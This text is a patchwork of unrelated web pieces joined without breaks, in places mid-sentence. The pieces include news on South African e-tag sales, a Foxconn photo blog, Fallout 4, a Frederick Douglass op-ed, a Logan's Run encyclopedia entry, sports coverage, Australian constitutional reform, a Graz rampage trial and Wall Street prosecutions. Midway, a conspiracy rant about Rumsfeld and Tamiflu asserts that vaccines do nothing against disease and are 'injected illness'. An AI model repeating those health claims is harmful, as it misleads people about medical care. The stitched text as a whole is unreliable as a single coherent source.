According to Sanral, sales went from 0 to 500,000 in the first five months, and then remained unchanged for nearly a year.
It then increased by 100,000 (from 500,000 to 600,000) in two months, and again remained unchanged for the next 6 months.
There is no reason for this apparent acceleration and then stagnation of sales, which sheds doubt on the accuracy of the figures.
Monthly e-tag sales (claimed)
True e-tag sales estimate
Duvenhage explained that most of the e-tags given out to date are to the leasing and rental companies, and then some to other fleet companies and municipalities. He estimates these numbers to be no more than 50,000 to 70,000.
“The public would have purchased a maximum of 40,000 to 50,000 e-tags. At best there are 120,000 to 150,000 e-tags out there, and not all of these are in cars today,” said Duvenhage.
This is a far cry from Sanral’s claimed 600,000 e-tags sold. “These are my estimates, and Sanral will no doubt scoff at these and denounce my views with much song and dance,” said Duvenhage.
E-tag sales estimates: Sanral vs Outa (15 October 2013)
Sanral mum on the numbers
Sanral was asked for comment on its strange e-tag sales numbers, but the company did not respond by the time of publication.
More on e-tolls and e-tags
To e-tag or not to e-tag?
What if you don’t pay e-tolls?
Be a good citizen and buy an e-tag: cabinet
E-toll prices: what some might payI am always surprised by things in China, but this day was at the more-surprising-than-usual end of the spectrum. In the days to come, I will share a series of photos I was able to take on the campus. I will start now, before completing my article, with just a few that set the general mood.
There are some things you might expect to see. For instance, here is part of a circuit-board assembly plant (brand logos carefully avoided). Anyone who has been in Chinese electronics factories has seen things like this:
And here is a typical giant factory building in which assembly lines like this one operate:
If you look carefully just above the blue shipping containers, you'll see some of the famous "suicide nets" that Foxconn installed several years ago. More to come on this subject.
But there was a lot that I, at least, had no way of expecting. Just a sample, beginning with an employee cyber-cafe:
These are the young people building your smartphones and computers. Or, this kind of scene at lunch hour, with a bunch of employees clustering around a HD big-screen TV being offered at special discount. This is a main street on the campus near a central cafeteria and many shops, banks, coffee bars, and so on.
Or this -- the "staff care" center, which is supposed to help resolve various personal or social problems. It turns out that most of the Foxconn workers sitting and reading -- actual papers! -- were not looking for help but were just taking advantage of the seats and the air-conditioning while on their lunch break.
Similarly, a young woman taking advantage of a security-department scooter as a place to sit and read during a break:
Or a group of workers waiting for a shuttle from one part of the site to another after their shift.
I am not yet going to characterize what I saw, and I am not pretending to know more than I do. This was a few hours out of one day. But what I saw once inside the gate was very different from the picture that "Foxconn" had always conjured up in my mind. I'll plan to post a series of photos day by day until I've conveyed the range of what I saw. If scenes like these conform closely to how you had imagined Foxconn to look, congrats on your insight. They surprised me.Long hair don't care
Boston-bound Fallouts acting like they federal.
A lot of people were upset that Fallout 4 looked more like Fallout 3 than, say, The Witcher 3. Bethesda's Pete Hines has a pretty zen attitude about the whole thing, explaining to Metro that the negative reaction to the visuals, "Definitely doesn’t upset us."
"As with most forms of entertainment you never get 100 per cent agreement on anything. And so, at the end of the day, whether it’s what the graphics look like or whether the gameplay is what you want or whether you like the setting, or whatever it is, everybody is entitled to their opinion."
Surprisingly, some lunatics were actually upset about the game adding color. Hines is not worried about swaying those very wrong folks or those who are unimpressed by the technology on display. "You can use whatever criteria you want to buy or not buy a game, because ultimately it’s not up to me," Hines said. "I don’t get to go up to each individual consumer and say, ‘You have to buy this game or I’m gonna try and convince you otherwise!’ I put out information in the best way possible to give people a good idea, "Here’s what we’re doing and here’s what it’s gonna be like.'"
Good on 'em. I actually wrote elsewhere, for a naughty site your work might block, that it was a pretty bold move of Bethesda to not chase tech orgasms.
Bethesda’s Pete Hines Fallout 4 interview – ‘We’re doing stuff that other folks wouldn’t do or don’t do’ [Metro]
You are logged out. Login | Sign upWho was Frederick Douglass? More importantly, why does Frederick Douglass matter to today’s America? The above questions are not merely rhetorical, as the recent controversy surrounding President Trump’s Black History Month statement illustrate.
“Frederick Douglass,” Trump said, “is an example of somebody who’s done an amazing job and is being recognized more and more, I notice.”
The mainstream media have caste Trump’s curious mixture of both past and present tenses — “who’s done” (past) vs. “is being recognized” (present) — as an incongruous construction at best, and at worst as clueless invocation of one of America’s most beloved and revered historical figures. But there is certainly an alternative view to be had.
The alternative view is that whatever the President’s intended form of language or actual prior knowledge Frederick Douglass, Douglass is certainly an example of excellence. Furthermore, especially during Black History Month, Douglass is receiving heightened recognition.
Frederick Douglass was of course born into slavery and was possibly fathered by a member of his enslaver’s own family. Although he was illiterate as a child, his enslaver’s wife saw a deep yearning to learn in Douglass and begun to teach him to read. Once her husband found out about this, he immediately put a stop to the lessons and forbade his wife from continuing to teach Douglass. The system of slavery required as a fundamental principle that slaves be kept in ignorance, lest they begin to challenge the injustice that was being pressed on them.
Douglass, who even as a child realized that the secret to his ultimate freedom was knowledge, found clever ways around the reading ban. The most successful ruse involved recruiting the young white boys he befriended around the neighborhood. Many of them were hungry, while Douglass had free access to a pantry full of bread supplied by his enslavers. Douglass would always take a book out with him when he was sent on errands, and when he encountered a young friend, he would ask for help reading the words. Although some may have been initially reluctant to help him, they usually became quite eager to help once they realized Douglass had bread to share.
Douglass, like any great entrepreneur, saw a means of exchanging a thing of value to others (bread) in order to receive something that was much more valuable to himself (knowledge). Douglass’ entrepreneurial approach to learning ultimately helped him gain his freedom (when he ran away from the plantation he knew how to make his way to Baltimore because he had voraciously read and completely memorized maps and road signs). This simple yet powerful lesson is instructive of the personal power we all have to rise up from whatever personal or social circumstances that may be preventing us from achieving our dreams.
Frederick Douglass deeply despised the system of slavery that was the law of the land in America. He met with President Lincoln on at least three occasions to discuss the matter, which he saw as one of our nation’s great moral challenges. He felt that slavery was not only bad for African Americans (the prevailing narrative was that slaves were generally better off under conditions of slavery than many free citizens), but also bad for America’s soul. Slavery caused otherwise humane, kind, and devoted Christians to become covetous, deceitful, and cruel. Slavery, Douglass argued, was a serious impediment to America’s ability to realize its manifest destiny.
During Black History Month Frederick Douglass and a host of other notable black historical figures receive special notice. Whether it is Harriet Tubman, Booker T. Washington, or more obscure figures like Benjamin O. Davis, Sr., the first black American to achieve the rank of General Officer in the U.S. Army.
This year, partly due to the media furor around Trump’s minor verbal slip, Douglass has received special interest. Bookings for visits at Cedar Hill, Douglass’ home now converted to a Museum of his life in Washington, are reportedly at an all-time high.
But the irony of only studying the example of Frederick Douglass during a month set aside for Black History is that Douglass was so much more than just an American who happened to be black. Douglass is a true American hero in the same vein as more conventional luminaries such as Abraham Lincoln and Thomas Jefferson. His writings and the biographies about him should be studied within the context of American history writ large.
The alternative narrative is that Frederick Douglass, while a black hero, was also so much more. He was a notable early leader of the Republican Party. He championed the woman’s right to vote at a time when it was not politically popular. He also served as Washington D.C.’s first Post Master General — entrusted by the President to manage the most sensitive correspondence during the height of the Civil War.
Douglass was also one the best and most sought after orators of his day. He travelled around the country extensively talking about the ills of slavery and oppression. His stance as a pro-abolition speaker and activist at the time took courage and conviction. As Douglass was fond of saying, “The man who is right is a majority. We, who have God and conscience on our side, have a majority against the universe.”
The alternative view is that it is great that he is being recognized more and more.
Armstrong Williams is Manager/Sole Owner of Howard Stirk Holdings I & II Broadcast Television Stations and the 2016 Multicultural Media Broadcast Owner of the year. Listen to Mr. Williams on Sirius XM 126 Urban View nightly at 6:00-8:00pm EST. Follow me on Twitter @arightsideFor the stream in Pennsylvania, see Logan Run
Logan's Run is a novel by William F. Nolan and George Clayton Johnson. Published in 1967, the novel depicts a dystopic ageist future society in which both population and the consumption of resources are maintained in equilibrium by requiring the death of everyone reaching the age of 21. The story follows the actions of Logan, a Sandman charged with enforcing the rule, as he tracks down and kills citizens who "run" from society's lethal demand—only to end up "running" himself.
Plot summary [ edit ]
The introduction to the book states:
The seeds of the Little War were planted in a restless summer during the mid-1960s, with sit-ins and student demonstrations as youth tested its strength. By the early 1970s over 75 percent of the people living on Earth were under twenty-one years of age. The population continued to climb—and with it the youth percentage.
In the 1980s the figure was 79.7 percent.
In the 1990s, 82.4 percent.
In the year 2000—critical mass.
In the world of 2116, a person's maximum age is strictly legislated: twenty-one years, to the day. When people reach this Lastday they report to a Sleepshop in which they are willingly executed via a pleasure-inducing toxic gas. A person's age is revealed by their palm flower crystal embedded in the palm of their right hand that changes color every seven years, yellow (age 0–6), then blue (age 7–13), then red (age 14–20), then blinks red and black on Lastday, and finally turns black at twenty one.
Runners are those who refuse to report to a Sleepshop and attempt to avoid their fate by escaping to Sanctuary. Logan 3 is a Deep Sleep Operative (also called Sandman) whose job is to terminate Runners using a special weapon called simply, the 'gun', a handgun with selectable ordnance keyed to self destruct if touched by an individual who is not the proper owner.
Runners are most terrified of a weapon called the 'Homer', which homes in on body heat and deliberately ignites every pain nerve in the body, killing the target.
Sandmen practice Omnite, a hybrid type of martial arts. On his own Lastday, Logan becomes a Runner himself in an attempt to infiltrate an apparent underground railroad for runners seeking Sanctuary--a place where they can live freely in defiance of society's dictates.
For most of the book, Logan is an antihero; however, his character develops a sympathy towards Runners, and he becomes more of a traditional hero figure.
Jessica 6, a contact Logan made after he chased her Runner brother, Doyle 10, into Cathedral, where he was killed by the vicious, pre-teen "Cubs", helps him, despite her initial distrust of him.
Francis, another Sandman, and friend of Logan, catches up with Logan and Jessica after they've managed to make it to the final-staging area before Sanctuary. Francis reveals that his true identity is that of the legendary Ballard, who's been helping arrange their escape. Francis tells them he is actually forty two, but due to his faulty palm flower, which does not change colour and through use of plastic-surgery shops, he has been able to disguise his true age and appearance. He is working from within the system as he believes the computer controlling the global infrastructure, buried beneath Crazy Horse Mountain, is beginning to malfunction, and the society will die with it.
Sanctuary turns out to be Argos, a previously-abandoned space colony near Mars.
Logan and Jessica escape to the colony on a rocket, which departs from a former-space-program launch site in Florida while Ballard remains to help others escape.
Sequels and spin-offs [ edit ]
Nolan wrote two sequels, Logan's World and Logan's Search, published after the film's release. There is also a novelette, Logan's Return, that has been published as an e-book. Two other novels, Logan's Journey (written with Paul McComas) and Logan Falls (written with Jason V Brock), have been written, but not published.[1]
Logan's World deals with events following Logan's returning to Earth, amidst the survivors and ruins of the system he escaped in the first novel, while Logan's Search deals with Logan going to an alternate reality (with the assistance of aliens) to once again stop the government system he escaped in the first novel, albeit with some minor changes.
George Clayton Johnson's long rumored personal sequel to Logan's Run titled Jessica's Run: A New Sequel for the Logan's Run Universe was said be "in development".[2] It was still in development at the time of George Clayton Johnson's death on Christmas day 2015.
Reception [ edit ]
David Pringle gave Logan's Run two stars out of four and praised the novel as "a good SF thriller"; he also stated it was superior to the film version.[3]
Adaptations [ edit ]
Film [ edit ]
The novel was adapted in 1976 as a film, directed by Michael Anderson and starring Michael York as Logan 5 (not 3), Jenny Agutter as Jessica 6, and Richard Jordan as Francis 7. The film was produced by Saul David, a former MGM Executive and well-known science fiction supporter (having produced and developed Fantastic Voyage in 1966 at Fox, and developed Westworld at MGM). The film only uses the basic premise from the novel (everyone must die at a specific age, Logan runs with Jessica as his companion while being chased by Francis).
The film's world is a post apocalyptic, dystopian one, in which people now live inside a huge domed city and are unaware of the world outside, believing it to be a barren, poisonous environment. The motivations of the characters are also quite different; in the film, the age of death is thirty, and instead of reporting to a Sleepshop, citizens must take part in a ritual called "Carrousel" [sic] in which they are incinerated with the chance of being "renewed". Logan is a twenty-six-year-old Sandman, sent by the computer to find and destroy Sanctuary. The computer alters his palm flower (here called a "life clock") to show him as approaching Lastday, and he becomes a runner and escapes from the city.
Sanctuary turns out not to exist (it is revealed that Runners have actually been murdered by a malfunctioning food processing robot just outside the city), and the only other person that Logan and Jessica encounter outside the city is an old man (Peter Ustinov) who lives with a large number of cats in the Senate Chamber of the largely intact ruins of Washington, DC. Logan kills Francis, who is simply a Sandman in the movie and not a rebel leader, and leads the old man back to remain just outside the domed city, returning to try to lead a revolt against the culling. No one believes or listens to him or Jessica, and instead he is captured by Sandmen. In his interrogation by the computer, his information of there being no Sanctuary causes the computer to malfunction and self destruct. Logan and Jessica then flee.
As the young population leave the confines of the burning and exploding domed city, they meet the old man outside—the first time they have seen anybody of that age.
Remake [ edit ]
Though a remake has not yet been produced, talk of a remake has been discussed almost continuously from the mid-1990s until as recently as 2015.
In the mid-1990s, Warner Bros. began development of a remake of the movie.[4] In April 2000, director Skip Woods entered negotiations with the studio and producer Joel Silver to write and direct the remake.[5] The director planned to make it closer to the novel than the original film, restoring elements including Crazy Horse Mountain and sky gypsies.[4] In March 2004, director Bryan Singer was brought in to develop and direct Logan's Run. Singer had begun working with production designer Guy Dyas from his previous film X2. Screenwriters Ethan Gross and Paul Todisco were hired to write the script with the director, with the film being slated for a 2005 release.[6] In October, the director said he had begun previsualization of Logan's Run, which would be completed by the time he finished production of his project at the time, Superman Returns.[7] The following December, screenwriter Dan Harris said that he and the director had turned in a first draft for Logan's Run. Harris said that further development of the project would take place in Sydney after production for Superman Returns, for which he also collaborated, was finalized. The screenwriter said that the remake would contain more action than the original film, describing the premise to be "a remake of the concept of the movie plus the book".[8]
In February 2005, screenwriter Christopher McQuarrie was hired to rewrite the script, with filming to take place in Australia.[9] In February 2006, Logan's Run was scheduled to begin production in September/October 2006 in Vancouver.[10] The following May, Singer's availability to direct Logan's Run rendered questionable by scheduling conflicts with filming the sequel to Superman Returns.[11] By May, Singer confirmed that he would not direct Logan's Run, seeking a vacation from the demands of his job.[12] Directors Robert Schwentke and James McTeigue were approached for the project, but neither ultimately signed on.[13]
In August 2006, production offices for Logan's Run were taken over by the production for the 2008 box office bomb Speed Racer.[14] In April 2007, producer Joel Silver reiterated his plan to remake the original film.[15] The following July, Silver said that since Singer's departure, no new director had come aboard the project.[16] In August 2007, the project was reinvigorated with Joseph Kosinski hired as the new director and a new script being written by screenwriter Timothy J. Sexton. Kosinski had made a presentation to Warner Bros. including graphic art and animated previsualization that illustrated his plan for the film, whose low budget appealed to the studio. No progress was made, and Kosinski moved on to make Tron: Legacy (2010).
In May and June 2010, Carl Erik Rinsch was hired to direct and screenwriter Alex Garland was hired to write the film.[17] Rinsch ultimately pulled out of the project due to scheduling conflicts.[18] As of August 2011, Danish filmmaker Nicolas Winding Refn was attached to direct the remake starring actor Ryan Gosling and Rose Byrne with screenwriter Andrew Baldwin.[19][20] In October 2012, Justin Kroll of Variety tweeted[21] that Gosling was no longer attached to the project. As of June 2013, video game developer Ken Levine, creator of the Bioshock series, was confirmed to be attached to write the screenplay.[22] On April 6, 2015, it was revealed from The Tracking Board that the latest concept for the film was based on a female lead.[23]
Television [ edit ]
A television series spin-off from the film, starring Gregory Harrison as Logan 5 and Heather Menzies as Jessica 6, lasted one season of 14 episodes, from September 16, 1977, through January 16, 1978, on U.S. television (CBS-TV). D. C. Fontana served as story editor and employed several other writers from Star Trek as well as the original novel's authors. The series pilot was produced by Saul David, who was replaced by CBS with veteran television producers Ivan Goff and Ben Roberts.
Other adaptations [ edit ]
See also [ edit ]CHARLOTTE, N.C. -- ESPN draft analysts Mel Kiper and Todd McShay remain convinced that the Carolina Panthers will take a wide receiver with the 28th pick of the NFL draft.
I'm still not.
Yes, wide receiver is the No. 1 need. The Panthers must bring in a threat to play opposite the aging Steve Smith. Brandon LaFell hasn't done that, and he's scheduled to become an unrestricted free agent.
But I keep going back to last year's draft, the first for new general manager Dave Gettleman. He selected defensive tackles Star Lotulelei and Kawann Short with his first two picks. They were huge in elevating the defense to second in the NFL against the run.
Gettleman likes building from the inside out and the Panthers like to run. They need help at offensive tackle, whether it's a replacement for Jordan Gross on the left side or somebody who can start on the right side opposite Gross, should he re-sign as I expect he will.
They have a better chance of getting that player in the first round than the second. Both Kiper and McShay have a tackle -- Tennessee's Antonio Richardson (6-6, 327) and Virginia's Morgan Moses (6-6, 332) -- going just ahead of Carolina to New Orleans.
If one falls to 28th, it will be tempting.
The draft is deep at wide receiver, so there's a better chance of falling into a find there in the second round.
As for what Kiper and McShay say is best for Carolina:Julia Gillard says 'time is right to say yes to an understanding of our past' as report recommends end to state discrimination
Australia is poised to make historic changes to its constitution, recognising Aborigines as the country's original inhabitants and removing the last clauses of state-sanctioned racial discrimination.
The amendments could be put to the Australian people in a referendum before the next general election in 2013, after the prime minister, Julia Gillard, endorsed the unanimous findings of a panel of 19 experts.
Section 25 of the constitution recognises that states can disqualify people, such as Aborigines, from voting. Section 51 says federal parliament can make laws based upon a person's race. Both were put in the constitution in 1901 to prevent certain races from living in areas reserved for white people or from taking up certain occupations.
The prime minister, Julia Gillard, welcomed the report. "We are big enough and it is the right time to say yes to an understanding of our past, to say yes to constitutional change, and to say yes to a future more united and more reconciled than we have ever been before," she said.
The panel's report followed public consultation with more than 4,500 people and more than 250 public meetings. The panel's co-chair, Aboriginal elder Professor Patrick Dodson, urged bipartisan support for the proposals.
"This is a time when truth and respect for the Aboriginal and Torres Strait Islander peoples needs to be achieved through the recognition in our constitution," he said. "Strong leadership and our national interest are critical for our nation to go forward."
When Australia became a federation in 1901 there were only two references to Aborigines in the constitution: one denied federal parliament the power to make laws with respect to Aboriginal people in any state, while another excluded what it termed "Aboriginal natives" from the census. Both of those sections were scrapped in a 1967 referendum (by a majority of 90%), leaving a constitution that made no mention whatsoever of indigenous people.
Referendums in Australia have historically been hard to pass. Only eight out of 44 have succeeded since 1906, partly because any alteration to the constitution must be approved by a "double majority". This demands that, as well as a majority yes vote being required nationally, a majority must also be reached in four of the six states.
The opposition leader, Tony Abbott, has said he will study the document. "We have some reservations about anything that might turn out to be a one-clause bill of rights but we accept that millions of Australians' hopes and dreams are resting on constitutional recognition of indigenous people," he said.
The report also called for Aboriginal and Torres Strait Islander languages to be recognised as the country's first languages. It calls for continuing respect for these cultures, languages and heritage.
The government aims to hold the referendum at or before a general election, due in 2013.A month after closing a newsstand on Astor Place that had been operated for 26 years without the proper license, New York City officials have reversed course, agreeing to let the stand reopen and to grant the longtime operator the necessary license.
The operator, Jerry Delakas, had run the stand since 1987, paying a monthly fee to a succession of people who had received operator licenses from the Department of Consumer Affairs. Mr. Delakas said that he saw nothing wrong with the arrangement, but the agency said it was illegal. In 2010 his request for a license of his own was rejected.
Many in the neighborhood rallied to support Mr. Delakas, saying that his long tenure on Astor Place, in the East Village, should have earned him amnesty. But a judge allowed Consumer Affairs to padlock the newsstand in December, and city officials said that Mr. Delakas had no valid claim to the stand.
That changed, apparently after Mr. Delakas attended an open house at Gracie Mansion on Jan. 5 and spoke briefly with Mayor Bill de Blasio, said Mr. Delakas’s lawyer, Arthur Z. Schwartz.A CCTV image of the June 2015 rampage. Photo: ORF screengrab
The man who drove his 4x4 into a crowd of pedestrians in the Austrian city of Graz in June last year, killing three people and wounding more than 100 others, has gone on trial.
The defendant, named only as Alen R. and dressed all in white, told the court in the southern city that he thought he was being chased, had heard gunshots and that his car had mechanical problems.
"I didn't want to run anyone over, I just wanted to get away so that I didn't get shot," the 27-year-old told the court. "I felt like I was being chased."
Prosecutors are not pushing for murder charges but want to send the accused to a mental institution.
A trial jury is now tasked with deciding whether the father-of-two lorry driver was sound of mind at the time of the incident.
Two psychological reports have concluded he was not criminally responsible, while a third said he was. He has been receiving treatment at a psychiatric hospital.
Police reports said the suspect showed signs of psychosis during initial questioning and one expert said he was suffering from paranoid schizophrenia at the time of the attack on June 20th 2015. The Bosnian-born man has a history of domestic violence.
If he is committed to a mental institution he may be released after just seven years if doctors decide he is no longer a risk to others or himself.
Witnesses of the horrific attack described scenes of terror as the car ploughed into Graz's pedestrian shopping area at over 100 kilometres (60 miles) an hour, forcing people to scramble out of harm's way.
His victims included a four-year-old boy, a 53-year-old man, and a 28-year-old newly-wed Muslim woman.
Alterations have been made to the courtroom in Graz - including the installation of a wheelchair ramp as many of the witnesses and victims were disabled after the attack. The trial will be held under increased security.Why the Wall Street Perps Walked
Neil Irwin had a discussion of the failure to prosecute any of the Wall Street honchos for the conduct that led up to the financial crisis. He concludes that:
"America doesn’t criminalize bad business decisions, even when they lead to business failure."
That is obviously true, but this is not the issue. The Financial Crisis Inquiry Commission (FCIC) found:
"Lenders made loans that they knew borrowers could not afford and that could cause massive losses to investors in mortgage securities. As early as September 2004, Countrywide executives recognized that many of the loans they were originating could result in “catastrophic consequences.” Less than a year later, they noted that certain high-risk loans they were making could result not only in foreclosures but also in “financial and reputational catastrophe” for the firm. But they did not stop.
"And the report documents that major financial institutions ineffectively sampled loans they were purchasing to package and sell to investors. They knew a significant percentage of the sampled loans did not meet their own underwriting standards or those of the originators. Nonetheless, they sold those securities to investors. The Commission’s review of many prospectuses provided to investors found that this critical information was not disclosed."
The question was not whether the top executives of mortgage issuers like Countrywide and investment banks like Goldman Sachs bought into the housing bubble, the question is whether they followed proper business practices in their lust to cash in. The assessment of the FCIC is that they did not. Issuing a mortgage that is known to be based on false information and then selling it in the secondary market is fraud and punishable by time in jail. Similarly, packaging loans into mortgage backed securities that an investment bank has good reason to believe are based on false information is also fraud and punishable by time in jail. (It's actually common for true believers in a bubble to also commit fraud. It is likely top executives at Enron believed that they were actually running a profitable company.)
The way prosecutors would construct a case to prosecute top executives would be by starting at the bottom. They would have gone to branch offices at major subprime issuers like Countrywide and Ameriquest and find out why mortgage agents were issuing so many mortgages with improper documentation. Since this was done by many agents, they presumably could have gotten one or more to report that this was a policy of the branch manager. Presumably branch managers told agents that they needed to issue certain numbers of mortgages and they did not care if the mortgages did not meet proper standards.
Prosecutors would then ask branch managers why they thought it was clever to tell their agents to issue mortgages without proper documentation. Since many branches engaged in these practices, presumably this was the policy of the company. This should have led to prosecutions at the main offices of these subprime issuers, if not the very top executives.
Serious efforts at prosecuting the investment banks would follow the same process. The people who put together some of the worst mortgage backed securities would be asked if they were really dumber than rocks and had no idea that many of the mortgages being put into the packages were fraudulent. If the prosecutors could demonstrate evidence of intelligent life at Goldman Sachs and Morgan Stanley they would then ask the lower level people whether they wanted to spend years in jail or would rather explain why they thought it was a good idea to put tens of millions of dollars of fraudulent mortgages into mortgage backed securities. This would presumably lead to testimony against higher ups at these investment banks.
There would be a similar process at the bond rating agencies. In the case of Standard & Poors, there was actually a famous e-mail in which one auditor complained that they would rate an issue as investment grade if it was structured by cows. A serious effort at prosecution would ask these auditors how they came to believe that it was their job to rate issues structured by cows as investment grade.
There is no guarantee that these sorts of efforts would have landed top executives of financial firms behind bars. However there is no evidence that the Justice Department even began this sort of investigation. At the least, such an investigation would have resulted in prosecutions of lower level actors who clearly violated the law in issuing and passing on fraudulent mortgages.
As Irwin said, bad business judgment is not a crime. However, it is a crime to allow bad business judgment to lead to fraud. Clearly fraudulent mortgages were a major factor in propping up the housing bubble. No one went to jail for this crime.Buy Photo Rock Ventures owner Dan Gilbert flanked by Major League Soccer’s Commissioner Don Garber, left, and Rock Ventures representative Matt Cullen presents his vision for a soccer stadium at the stalled Wayne County Jail site on Wednesday. (Photo: John T. Greilick / The Detroit News)Buy Photo
A pair of Detroit business giants want to build a Major League Soccer stadium at the gateway of the city’s downtown, but exactly how the nearly $1 billion field of dreams will become reality remains unknown.
Cleveland Cavaliers owner Dan Gilbert, who has teamed with Detroit Pistons owner Tom Gores, on Wednesday unveiled what he called a “better alternative” for the “front door” of Detroit’s downtown at the site of a failed Wayne County jail project at Gratiot near Interstate 375.
“We feel we can move this fast as needs to be moved,” Gilbert said. “We are at a fork in the road. This is a major decision for downtown.”
The vision calls for a 25,000-seat stadium as the centerpiece of a project that would feature retail and residential units, a hotel and covered parking and plazas. But the project’s cost breakdown, timetable and chance of approval from Wayne County officials are unclear.
Gilbert introduced the plan during a news conference that included MLS Commissioner Don Garber, who noted the jail site as being a “a very key part |
.The good will to Iraq wasn’t limited to a bit of fluoride, tributes also included bio weaponry. Senator Riegle’s Congressional Report of 1994 documented that American Type Culture Collection, shipped biological materials to Iraqi government agencies, 1985 – 1986, under license by the U.S. Commerce Department.Between governments, Donny mainly filled his time selling more weapons, he was CEO of General Instruments and had a board position with Gulfstream Aerospace, later acquired by General Dynamics in 1999, where upon Donny was returned $11 million for his stock shares. He was also on the board of Swiss-based engineering company ABB who happened to sell two nuclear reactors to North Korea for a cool US$200 million.When Rumsfeld returned to office as Secretary of Defense for G.W. Bush, and made great fanfare over Iraq possessing WMDs, he was right, he had the receipts. However, he also knew full well that junior’s father GHW, had destroyed most of them in operation Dessert Storm, and that the remaining weapons were eradicated by UN inspectors in 1993.During the hiatus in government for Rumsfeld, he also became Chairman of Gilead Sciences in 1997, another pharmaceutical company; he loves his pharma nearly as much as his weapons, often they are the same thing though.Gilead owns the intellectual property rights to the anti-viral Tamiflu which is marketed by Hoffman-La Roche (Swiss I.G. Farben). Rumsfeld stood down from the board when he was appointed Secretary of Defense, but it goes without saying that he managed to keep hold of his Gilead stock shares.Those shares went up and up when in 2005, nothing to do with Donald I’m sure but solely for the good of the nation, G.W. Bush approved an order for 20 million courses of Tamiflu. Bush claimed that 2 million Americans were about to die from an avian flu pandemic.Tamiflu side effects include: delirium, hallucinations, convulsions, disturbed consciousness, abnormal behaviour and death. As a treatment for influenza, it’s completely f*cking useless, more favourable side effects include all the symptoms of flu: nausea, vomiting, diarrhoea, headache, dizziness, fatigue and coughing. Taken as directed, Tamiflu can reduce the duration of flu symptoms by up to a whole day, but of course, that day you will be experiencing its side effects.Rumsfeld’s stock shares in Gilead were estimated at between $25-$50 million long before pigs started flying (swine flu) and an absolute sh*t load of Tamiflu has been sold since then.Nice work if you can get it, selling products to treat the symptoms of the products sold.Pharma companies make billions producing vaccines. Vaccines do nothing to reduce disease; on the contrary, they are nothing less than injected illness. They make billions pedaling the likes of aspartame. Next they profit in the billions from psychiatric drugs.Then at this point, if for some reason the consumer still has a functioning heart, liver and kidneys, but obviously is emotionally FUBAR, they will sell even better psych drugs, if not, the billion dollar finale is with selling insulin, other diabetic treatments and heart medications. And when all else fails, their chemical creations will always be in high demand as weapons of war.After Golden State's first win of the season on Oct. 20, the Warriors were in the visitors locker room in New Orleans celebrating Kevin Durant. But they weren't praising him for his 22 points and eight rebounds. They weren't talking about his silky-smooth jumper or his tight handle, either. No, it was the way he had played on defense, swatting away a career-high seven shots.
On one sequence early in the second quarter, Durant's left shoe had squirmed off after a made basket. He had to get back on defense, so he picked up his shoe, carried it past half court, then threw it out of bounds near the Pelicans' bench.
Now switched onto Tony Allen, still wearing only one shoe, Durant battled for rebounding position. Allen came down with an offensive board and went right back up with a floater, which Durant volleyball-spiked back into Allen's hands. With Durant still draped all over him, Allen dribbled between his legs, inched closer to the basket and attempted a scoop shot, which resulted in another rejection by Durant.
Two blocks within two seconds with one shoe on.
play 1:08 Jackson: Durant's defense shows love for the game Stephen Jackson explains that Kevin Durant's dedication to defense shows how great he wants to be and the importance of being a true two-way player.
After the game, a fan shouted in Durant's direction, "Y'all were setting the Pels up for those blocks!"
It was true. Draymond Green had been emphasizing to his Warriors teammates during the game to avoid cheap reach-in fouls in the paint so Durant could be free for an endless buffet of rejection opportunities.
It worked. And now teammates, opponents and fans are starting to recognize Durant's vast improvement on defense, which, he said, was born out of fear.
"I've been a scorer my whole life," Durant told ESPN this week. "I've been a one-on-one player my whole life. All I've thought about in the past was different ways to score, rather than different ways to impact the game. Since 2012-13, I've been trying to figure out ways to impact the game outside of scoring.
"Defense started to creep in there probably two years before I got to the Warriors. Defense started to become a focal point for me where I wanted to be trusted. I didn't want to be the guy where all the film clips are about how they back-doored me, or how someone drove around me, or how I'm not contesting shots. I was more so just nervous about being called out during film sessions. That's why I wanted to get better."
Durant has been dominant so far this season.
The 2017 Finals MVP has 27 blocks already, second in the NBA behind Utah's Rudy Gobert (28). Durant is averaging 2.45 blocks per game after setting a career mark with 1.6 blocks per game last season. He also leads the Warriors in defensive win shares (0.053) and is capable of guarding all five positions.
Of all the accolades accumulated over his illustrious career, Durant does not own a single defensive honor. But he told ESPN he would "like to be an All-NBA defender." For now, though, it's his fear of failure that's driving him.
"I just want to be counted on by my coaches and my teammates in those situations," he said. "I don't want my coach to have to pull me out of the game in situations in the fourth quarter because I can't play defense and then they need to go to a defense-offense [substitution pattern]. I don't want to be that player. I never wanted to be that player. So that's what I feared more than anything."
Durant is currently second in the league in blocked shots, averaging 2.45 per game. Ezra Shaw/Getty
On Wednesday, Durant sat out a game against the Minnesota Timberwolves because of a left thigh contusion. He watched a portion of the contest near the locker room in a space designated for postgame media availability. And he was fully engaged with what his teammates were doing on the floor, particularly on defense.
"Get that!" he screamed after Andre Iguodala nearly picked off a pass.
"That's what I'm talking about," he said after a great defensive sequence ended up in a turnover and a transition basket.
Durant acknowledged that the Warriors' personnel has played a major role in his improvement on D. He mentioned how Green is always switching hard and precise, how Iguodala and Shaun Livingston are always getting deflections and how Steph Curry sneakily steals a rebound away by tapping it out of the hands of a big man before he can firmly secure the ball.
"It's contagious," Durant said. "If you're seeing that all the time, and it's creating points for you, that s-- is fun. It's fun when you get your teammates involved on both ends of the floor and you're all as one out there on the basketball court. You don't want to be the liability, and that's what I'm fighting against."
"I didn't want to be the guy where all the film clips are about how they back-doored me, or how someone drove around me, or how I'm not contesting shots."
Durant said the Warriors' defensive guru, assistant coach Ron Adams, is constantly in his ear, challenging him to make sure every shot is contested and stressing how difficult it is for opponents to shoot over his 7-foot frame. He says it has been the same message since the two worked together in Oklahoma City.
"The No. 1 thing I remind him of is to use your God-given ability, and more specifically, use your length," Adams told ESPN. "I think he's one of the hardest people to score against when he's focused fundamentally on defending. I just continually tell him to keep using your length, keep using your length, keep using your length. Maybe he gets tired of hearing it, but I don't get tired of saying it."
Opponents are shooting only 50.9 percent against Durant within 5 feet of the rim this season, according to ESPN Stats & Information. That is the lowest percentage in the league among players who have defended more than five shots at the rim, so it would appear the message is sinking in. New Orleans big man Anthony Davis is second at 52.9 percent.Potential first lady Melania Trump is taking legal action against the Daily Mail and other news outlets, accusing them of defamation.
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“Mrs. Trump has placed several news organizations on notice of her legal claims against them, including Daily Mail among others, for making false and defamatory statements about her supposedly having been an ‘escort’ in the 1990s,” attorney Charles Harder said in an email to Politico.
The Daily Mail last week published a story questioning Trump’s past romantic relationships, her modeling career and immigration story. The report cited an article from a magazine in Trump's native Slovenia that said a modeling agency she worked for also operated as an escort service.
